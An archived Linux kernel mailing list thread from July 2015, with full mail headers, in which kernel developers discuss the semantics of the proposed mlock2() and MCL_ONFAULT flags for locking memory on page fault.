Original-Received: from mail-yk0-f178.google.com (mail-yk0-f178.google.com [209.85.160.178])
	by kanga.kvack.org (Postfix) with ESMTP id 15E0D6B0255
	for <linux-mm@kvack.org>; Tue, 28 Jul 2015 09:49:45 -0400 (EDT)
Original-Received: by ykdu72 with SMTP id u72so95633244ykd.2
        for <linux-mm@kvack.org>; Tue, 28 Jul 2015 06:49:44 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:date:from:to:cc:subject
         :message-id:references:mime-version:content-type:content-disposition
         :in-reply-to:user-agent;
        bh=HNbf2xZJr+ITYaSZnk5KOWgcct3+IdGXyrq5YnxuBJk=;
        b=dg2JN9klJk3Zwi8L2ZsqGqF9EyNaBhhVX+ByNvza8O9y8gQ8R89UfTO7yKqcb2HFB6
         +hBmqnSPCbKYLFAUnu1N/qK/OCiER2YNSM5/5MR3VXOVJ3wg0D1YBVifMN2DBZZ5wEjE
         wa81WxeyApZVp2k311Zls51ff/TU/ImVMQpVaSaN3dbEw37YC4PRGUUsxDtWamkYLcwL
         1jTxkikB1QmWsVxlLT3hcpfK/ggECyjXKnsZOvIs+z1Exs2iJtusfi/wDomDd/simqWh
         BIIfd5gKJzicjwpBXlm+/Gq23IubGTD0XS5ta+eGTUpxqPk8oxBjzeRvgmv2ZQ6C8FKj
         JHcA==
X-Gm-Message-State: ALoCoQkJxcgepaq2Qvu+l58YXgnk/xLix2brbSQNPSEq4EcMIKohfQoz6qgVpl5mecOMgq4cOuziews8DzEI74+LGTi24GDr5NESI3k/+T3QRDfJAvZJFFP5R3VL9/3EN2T/0rMaRP0g6KWeU95aAOcu7/puFm5RGGwRoXYeeHVFE381raqsZL3ar+KnrKateuVOJgNXwV96
X-Received: by 10.170.161.4 with SMTP id c4mr37335910ykd.55.1438091384821;
        Tue, 28 Jul 2015 06:49:44 -0700 (PDT)
X-Received: by 10.170.161.4 with SMTP id c4mr37335853ykd.55.1438091384337;
        Tue, 28 Jul 2015 06:49:44 -0700 (PDT)
Original-Received: from prod-mail-xrelay02.akamai.com (prod-mail-xrelay02.akamai.com. [72.246.2.14])
        by mx.google.com with ESMTP id h6si15391237ywc.97.2015.07.28.06.49.43
        for <linux-mm@kvack.org>;
        Tue, 28 Jul 2015 06:49:44 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) client-ip=72.246.2.14;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id E13ED290C8;
	Tue, 28 Jul 2015 13:49:42 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id B6792290C4;
	Tue, 28 Jul 2015 13:49:42 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1438091382; bh=mUw44tXHXXEKV3H7onqe74qU+yrX73SUZR0iMh+j2Xs=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=vKsuTosQaTbzMQJukfYec4KPUVt39HxU56gOsB6enixYC5/vEUJBg/ykULXGYVCWp
	 w/BV8kGaU6cFpQl/31H+C+VIquRDghCRsmrSRy2wMuPQUdPcnwMPNQ8FpF7kZ7dj30
	 j5+lrZYPD3KeR0/KZR+14MXkAdf/L5eBb6cZY/zE=
Original-Received: from akamai.com (lappy-486.kendall.corp.akamai.com [172.28.12.253])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id AE1FB202C;
	Tue, 28 Jul 2015 13:49:42 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150728111725.GG24972@dhcp22.suse.cz>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136395 gmane.linux.ports.alpha:3250 gmane.linux.kernel:2006659 gmane.linux.ports.mips.general:49639 gmane.linux.ports.parisc:25885 gmane.linux.ports.ppc64.devel:116012 gmane.linux.ports.sparc:21320 gmane.linux.kernel.cross-arch:28665 gmane.linux.kernel.api:13220
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136395>


--61jdw2sOBCFtR2d/
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, 28 Jul 2015, Michal Hocko wrote:

> [I am sorry but I didn't get to this sooner.]
>=20
> On Mon 27-07-15 10:54:09, Eric B Munson wrote:
> > Now that VM_LOCKONFAULT is a modifier to VM_LOCKED and
> > cannot be specified independentally, it might make more sense to mirror
> > that relationship to userspace.  Which would lead to soemthing like the
> > following:
>=20
> A modifier makes more sense.
> =20
> > To lock and populate a region:
> > mlock2(start, len, 0);
> >=20
> > To lock on fault a region:
> > mlock2(start, len, MLOCK_ONFAULT);
> >=20
> > If LOCKONFAULT is seen as a modifier to mlock, then having the flags
> > argument as 0 mean do mlock classic makes more sense to me.
> >=20
> > To mlock current on fault only:
> > mlockall(MCL_CURRENT | MCL_ONFAULT);
> >=20
> > To mlock future on fault only:
> > mlockall(MCL_FUTURE | MCL_ONFAULT);
> >=20
> > To lock everything on fault:
> > mlockall(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT);
>=20
> Makes sense to me. The only remaining and still tricky part would be
> the munlock{all}(flags) behavior. What should munlock(MLOCK_ONFAULT)
> do? Keep locked and poppulate the range or simply ignore the flag an
> just unlock?
>=20
> I can see some sense to allow munlockall(MCL_FUTURE[|MLOCK_ONFAULT]),
> munlockall(MCL_CURRENT) resp. munlockall(MCL_CURRENT|MCL_FUTURE) but
> other combinations sound weird to me.
>=20
> Anyway munlock with flags opens new doors of trickiness.

In the current revision there are no new munlock[all] system calls
introduced.  munlockall() unconditionally cleared both MCL_CURRENT and
MCL_FUTURE before the set and now unconditionally clears all three.
munlock() does the same for VM_LOCK and VM_LOCKONFAULT.  If the user
wants to adjust mlockall flags today, they need to call mlockall a
second time with the new flags, this remains true for mlockall after
this set and the same behavior is mirrored in mlock2.  The only
remaining question I have is should we have 2 new mlockall flags so that
the caller can explicitly set VM_LOCKONFAULT in the mm->def_flags vs
locking all current VMAs on fault.  I ask because if the user wants to
lock all current VMAs the old way, but all future VMAs on fault they
have to call mlockall() twice:

	mlockall(MCL_CURRENT);
	mlockall(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT);

This has the side effect of converting all the current VMAs to
VM_LOCKONFAULT, but because they were all made present and locked in the
first call, this should not matter in most cases.  The catch is that,
like mmap(MAP_LOCKED), mlockall() does not communicate if mm_populate()
fails.  This has been true of mlockall() from the beginning so I don't
know if it needs more than an entry in the man page to clarify (which I
will add when I add documentation for MCL_ONFAULT).  In a much less
likely corner case, it is not possible in the current setup to request
all current VMAs be VM_LOCKONFAULT and all future be VM_LOCKED.


--61jdw2sOBCFtR2d/
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVt4h2AAoJELbVsDOpoOa9oHIQAIcQd4UyZvk7S3Gk5qbrOB18
DBwAWsh9b5MmgjqQJ6VY9tveNG54UTtmGIt5ToxjkoJdN+y7i0Bcen7t5sh0ZJpY
cm7qGFkP9Mz+zp0cnwNi6SxjhmNdPZbFgcq7JPD4eXG73Guha/ov1yKGUCaE9I8z
NhWJEDf2QaXAeTYZMAp3QsZUE2A2vGtpVvgqXfVsoFiTXdO59wFfj7ZWs7Tvd8tA
7gFjWP2gUd3F5CxKVx7W7CujDyjqPYqjGe6GRq4RXvjgKlnzn19Dz71XM40WlQfy
mK1jm7TyXcFLT7oxcCJfzdiy72ViZ3n+lv6QbshOBkrmbTKk+WkPcmoY84Gg05mz
GyR0BeJ02Q/QWMPlCHTq8E+iBgRYrGXQxC7/0zjXizRCUxMoNtMbzYmEo63jHIUS
BpiaDFIS4b48qznxLcKn1zeG6I1tiRgVcYVLWOieVBFgKG5g0ae7Gsy5FhTHwohn
TFbs8PMRs+bZcLrY8dFFsS7/l7EBx/KZmA2Zcpj+Lcdr/LdwokV8rDN/R23spu1a
NVMoBoBXxXuDqA1pUTVCoBimDF2U5GArsy0yjHnVWzjZNqQSh1+eTEEZp+lu6eeC
briVmyabn8fCItemDJrAK/6RdvzbqHHri7Ny2d3GSyMPO36aM/lVN1wlF1qMZ3GA
9sHKsbhENoi90n42sc8Q
=YK5t
-----END PGP SIGNATURE-----

--61jdw2sOBCFtR2d/--

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vlastimil Babka <vbabka@suse.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V5 0/7] Allow user to request memory to be locked on page
 fault
Date: Tue, 28 Jul 2015 17:10:55 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <55B79B7F.9010604@suse.cz>
References: <1437773325-8623-1-git-send-email-emunson@akamai.com>
 <55B5F4FF.9070604@suse.cz> <20150727133555.GA17133@akamai.com>
 <55B63D37.20303@suse.cz> <20150727145409.GB21664@akamai.com>
 <20150728111725.GG24972@dhcp22.suse.cz> <20150728134942.GB2407@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1438096277 15943 80.91.229.3 (28 Jul 2015 15:11:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 28 Jul 2015 15:11:17 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>,
	Michal Hocko <mhocko@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 28 17:11:10 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZK6X1-0003zi-Tf
	for glpp-linux-parisc@plane.gmane.org; Tue, 28 Jul 2015 17:11:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752690AbbG1PLC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 28 Jul 2015 11:11:02 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:58761 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750844AbbG1PLA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 28 Jul 2015 11:11:00 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id CEF68ABDE;
	Tue, 28 Jul 2015 15:10:57 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <20150728134942.GB2407@akamai.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25886 gmane.linux.ports.alpha:3251 gmane.linux.kernel:2006821 gmane.linux.ports.mips.general:49640 gmane.linux.ports.ppc64.devel:116017 gmane.linux.ports.sparc:21321 gmane.linux.kernel.mm:136417 gmane.linux.kernel.cross-arch:28671 gmane.linux.kernel.api:13241
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25886>

On 07/28/2015 03:49 PM, Eric B Munson wrote:
> On Tue, 28 Jul 2015, Michal Hocko wrote:
>

[...]

> The only
> remaining question I have is should we have 2 new mlockall flags so that
> the caller can explicitly set VM_LOCKONFAULT in the mm->def_flags vs
> locking all current VMAs on fault.  I ask because if the user wants to
> lock all current VMAs the old way, but all future VMAs on fault they
> have to call mlockall() twice:
>
> 	mlockall(MCL_CURRENT);
> 	mlockall(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT);
>
> This has the side effect of converting all the current VMAs to
> VM_LOCKONFAULT, but because they were all made present and locked in the
> first call, this should not matter in most cases.

Shouldn't the user be able to do this?

mlockall(MCL_CURRENT)
mlockall(MCL_FUTURE | MCL_ONFAULT);

Note that the second call shouldn't change (i.e. munlock) existing vma's 
just because MCL_CURRENT is not present. The current implementation 
doesn't do that thanks to the following in do_mlockall():

         if (flags == MCL_FUTURE)
                 goto out;

before current vma's are processed and MCL_CURRENT is checked. This is 
probably so that do_mlockall() can also handle the munlockall() syscall.
So we should be careful not to break this, but otherwise there are no 
limitations by not having two MCL_ONFAULT flags. Having to do invoke 
syscalls instead of one is not an issue as this shouldn't be frequent 
syscall.

> The catch is that,
> like mmap(MAP_LOCKED), mlockall() does not communicate if mm_populate()
> fails.  This has been true of mlockall() from the beginning so I don't
> know if it needs more than an entry in the man page to clarify (which I
> will add when I add documentation for MCL_ONFAULT).

Good point.

> In a much less
> likely corner case, it is not possible in the current setup to request
> all current VMAs be VM_LOCKONFAULT and all future be VM_LOCKED.

So again this should work:

mlockall(MCL_CURRENT | MCL_ONFAULT)
mlockall(MCL_FUTURE);

But the order matters here, as current implementation of do_mlockall() 
will clear VM_LOCKED from def_flags if MCL_FUTURE is not passed. So 
*it's different* from how it handles MCL_CURRENT (as explained above). 
And not documented in manpage. Oh crap, this API is a closet full of 
skeletons. Maybe it was an unnoticed regression and we can restore some 
sanity?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V5 0/7] Allow user to request memory to be locked on page
 fault
Date: Tue, 28 Jul 2015 14:06:42 -0400
Lines: 110
Approved: news@gmane.org
Message-ID: <20150728180642.GE2407@akamai.com>
References: <1437773325-8623-1-git-send-email-emunson@akamai.com>
 <55B5F4FF.9070604@suse.cz>
 <20150727133555.GA17133@akamai.com>
 <55B63D37.20303@suse.cz>
 <20150727145409.GB21664@akamai.com>
 <20150728111725.GG24972@dhcp22.suse.cz>
 <20150728134942.GB2407@akamai.com>
 <55B79B7F.9010604@suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="gDGSpKKIBgtShtf+"
X-Trace: ger.gmane.org 1438106818 17169 80.91.229.3 (28 Jul 2015 18:06:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 28 Jul 2015 18:06:58 +0000 (UTC)
Cc: Michal Hocko <mhocko@kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Vlastimil Babka <vbabka@suse.cz>
Original-X-From: linux-alpha-owner@vger.kernel.org Tue Jul 28 20:06:50 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1ZK9H5-0000L0-GQ
	for lnx-linux-alpha@plane.gmane.org; Tue, 28 Jul 2015 20:06:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752096AbbG1SGp (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Tue, 28 Jul 2015 14:06:45 -0400
Original-Received: from a23-79-238-175.deploy.static.akamaitechnologies.com ([23.79.238.175]:34649
	"EHLO prod-mail-xrelay07.akamai.com" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1751998AbbG1SGn (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Tue, 28 Jul 2015 14:06:43 -0400
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id B395547F37;
	Tue, 28 Jul 2015 18:06:42 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id 9BA8747ED6;
	Tue, 28 Jul 2015 18:06:42 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1438106802; bh=bD/xZ5SfVtx1KSpgboV38goEOJ5LzjYIWyR6B+J24DA=;
	l=4084; h=Date:From:To:Cc:References:In-Reply-To:From;
	b=fkN3EqeBFOLVH2pMBIvU49gd3M/TQw57X9cfO4tiIaw5SkY5Mx9UY6nuVOIsL5fhN
	 p9whCsuUF8QAGGuJk6lRqO+qfrMyk59XH+/xZtxz1VYkyGe+eBkKvbzPVIO+BuTtsR
	 6c7jnqqGdMyc1PHIfZJXLcmZlu+Bez+UetXhHUoA=
Original-Received: from akamai.com (lappy-486.kendall.corp.akamai.com [172.28.12.253])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 915CD202D;
	Tue, 28 Jul 2015 18:06:42 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <55B79B7F.9010604@suse.cz>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3252 gmane.linux.kernel:2006974 gmane.linux.ports.mips.general:49641 gmane.linux.ports.parisc:25887 gmane.linux.ports.ppc64.devel:116023 gmane.linux.ports.sparc:21323 gmane.linux.kernel.mm:136430 gmane.linux.kernel.cross-arch:28673 gmane.linux.kernel.api:13258
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3252>


--gDGSpKKIBgtShtf+
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, 28 Jul 2015, Vlastimil Babka wrote:

> On 07/28/2015 03:49 PM, Eric B Munson wrote:
> >On Tue, 28 Jul 2015, Michal Hocko wrote:
> >
>=20
> [...]
>=20
> >The only
> >remaining question I have is should we have 2 new mlockall flags so that
> >the caller can explicitly set VM_LOCKONFAULT in the mm->def_flags vs
> >locking all current VMAs on fault.  I ask because if the user wants to
> >lock all current VMAs the old way, but all future VMAs on fault they
> >have to call mlockall() twice:
> >
> >	mlockall(MCL_CURRENT);
> >	mlockall(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT);
> >
> >This has the side effect of converting all the current VMAs to
> >VM_LOCKONFAULT, but because they were all made present and locked in the
> >first call, this should not matter in most cases.
>=20
> Shouldn't the user be able to do this?
>=20
> mlockall(MCL_CURRENT)
> mlockall(MCL_FUTURE | MCL_ONFAULT);
>=20
> Note that the second call shouldn't change (i.e. munlock) existing
> vma's just because MCL_CURRENT is not present. The current
> implementation doesn't do that thanks to the following in
> do_mlockall():
>=20
>         if (flags =3D=3D MCL_FUTURE)
>                 goto out;
>=20
> before current vma's are processed and MCL_CURRENT is checked. This
> is probably so that do_mlockall() can also handle the munlockall()
> syscall.
> So we should be careful not to break this, but otherwise there are
> no limitations by not having two MCL_ONFAULT flags. Having to do
> invoke syscalls instead of one is not an issue as this shouldn't be
> frequent syscall.

Good catch, my current implementation did break this and is now fixed.

>=20
> >The catch is that,
> >like mmap(MAP_LOCKED), mlockall() does not communicate if mm_populate()
> >fails.  This has been true of mlockall() from the beginning so I don't
> >know if it needs more than an entry in the man page to clarify (which I
> >will add when I add documentation for MCL_ONFAULT).
>=20
> Good point.
>=20
> >In a much less
> >likely corner case, it is not possible in the current setup to request
> >all current VMAs be VM_LOCKONFAULT and all future be VM_LOCKED.
>=20
> So again this should work:
>=20
> mlockall(MCL_CURRENT | MCL_ONFAULT)
> mlockall(MCL_FUTURE);
>=20
> But the order matters here, as current implementation of
> do_mlockall() will clear VM_LOCKED from def_flags if MCL_FUTURE is
> not passed. So *it's different* from how it handles MCL_CURRENT (as
> explained above). And not documented in manpage. Oh crap, this API
> is a closet full of skeletons. Maybe it was an unnoticed regression
> and we can restore some sanity?

I will add a note about the ordering problem to the manpage as well.
Unfortunately, the basic idea of clearing VM_LOCKED from mm->def_flags
if MCL_FUTURE is not specified but not doing the same for MCL_CURRENT
predates the move to git, so I am not sure if it was ever different.


--gDGSpKKIBgtShtf+
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVt8SyAAoJELbVsDOpoOa9ZesP/1N/oMkXQdcSEZVI2hPN/lg2
9mWtmYEND1iC1vy7m8SDPnbAhVEDe7QS1LnkybW7h+ZPDdEcYndvaWGlwVZfAcFF
ibAYaG7hkQ5mOwpRrAqIf0Fmgya0W1tJjIxg59FyHxsFZBGe+NiCZ7CmZGpTp8sY
5QcFKUSFRGoIfAp2A4akeitUr3Eq62QEDOGrGq7TJboHJeNklRqRwDjYgMSe6NHq
lR7KOBP/iPu3W2yWpOcfqxQiv4V0d7C4cZTi4NcQeaOy4tkolspMZaUuA4n0u+ZI
1uyUaVo24RhGucRALQ5oM5l6pQLL+cGeWGmJtrB9lwydD0H5aVxYqVKAXylYDhBN
VeVocCkLkpQZX8NnMpWcqMDpq0gSuM0YbtMHpaU04suBNBCHb4nnc9uql5GHm5TX
WyrTKCj9tG5vmM94RKhreI4SpN2v1K0BwmRWDV0hgSl1/WIizxSOgnrs5VBEzrXo
78HoY24TPsDTs6bhsfuQ6uaKmy1Q8fQpkGCenVaveOW4igVJvvZEVKKvZwDu0VzD
HrAKkRfYO427d8Xk46ZJzav0RcwR7LWeBfm68QkswXhMWEMVcxXf3hAJxl+rWsCa
WJenAR2HADZCQrfLWp5bLYcdWww8LHoWRiT8M2jBjn/BNTblo0yLd3o+kdFxJ2V9
f6X8bsOxQAhqSGzrGcnK
=OZR5
-----END PGP SIGNATURE-----

--gDGSpKKIBgtShtf+--
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V5 0/7] Allow user to request memory to be locked on page
 fault
Date: Wed, 29 Jul 2015 12:45:32 +0200
Lines: 105
Approved: news@gmane.org
Message-ID: <20150729104532.GE15801@dhcp22.suse.cz>
References: <1437773325-8623-1-git-send-email-emunson@akamai.com>
 <55B5F4FF.9070604@suse.cz>
 <20150727133555.GA17133@akamai.com>
 <55B63D37.20303@suse.cz>
 <20150727145409.GB21664@akamai.com>
 <20150728111725.GG24972@dhcp22.suse.cz>
 <20150728134942.GB2407@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1438166753 23009 80.91.229.3 (29 Jul 2015 10:45:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 29 Jul 2015 10:45:53 +0000 (UTC)
Cc: Vlastimil Babka <vbabka@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Wed Jul 29 12:45:43 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1ZKOrk-0000Ej-3a
	for lnx-linux-alpha@plane.gmane.org; Wed, 29 Jul 2015 12:45:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751133AbbG2Kpj (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Wed, 29 Jul 2015 06:45:39 -0400
Original-Received: from mail-wi0-f172.google.com ([209.85.212.172]:38197 "EHLO
	mail-wi0-f172.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750860AbbG2Kph (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Wed, 29 Jul 2015 06:45:37 -0400
Original-Received: by wibxm9 with SMTP id xm9so20232929wib.1;
        Wed, 29 Jul 2015 03:45:35 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=rYbDPxksr0XIUUFJu7dqcNdvflW0L7rtBJn15d+5csI=;
        b=aiX2PaG3YO5MEbZKbbKilhST+N7BCTJ++rrKtDw60RV6EtZLBtfeDjxY0vE2uiLeUk
         TwzNSTAjGH1sHOb7ODJbNL8zbkIv0gnl3/NSPlohLRmVrvcBFbY+dKMjCMy5flVDoMWO
         LcKJEsR1oQ+wKNNfcmRvyZpZdrIUq5QdeeRdPbIr00F5h/YoM5CX0t6wkfRlsyrNQLPC
         j2yCtZIjeQ4rg/WRIDYhni48p95URb0a3SLiUy9uZGV3txs+QIKXhKG+LEtJtXSFTLgV
         7MEvcq06kyAUtX1tkDk4I6hgA4vKPlhzDofCkcfvx9fjinIMn2ln0N/WqZYyTzL8z9GU
         JyFw==
X-Received: by 10.194.104.98 with SMTP id gd2mr72039264wjb.35.1438166735137;
        Wed, 29 Jul 2015 03:45:35 -0700 (PDT)
Original-Received: from localhost (bband-dyn181.95-103-48.t-com.sk. [95.103.48.181])
        by smtp.gmail.com with ESMTPSA id iy4sm23639138wic.24.2015.07.29.03.45.33
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 29 Jul 2015 03:45:34 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20150728134942.GB2407@akamai.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
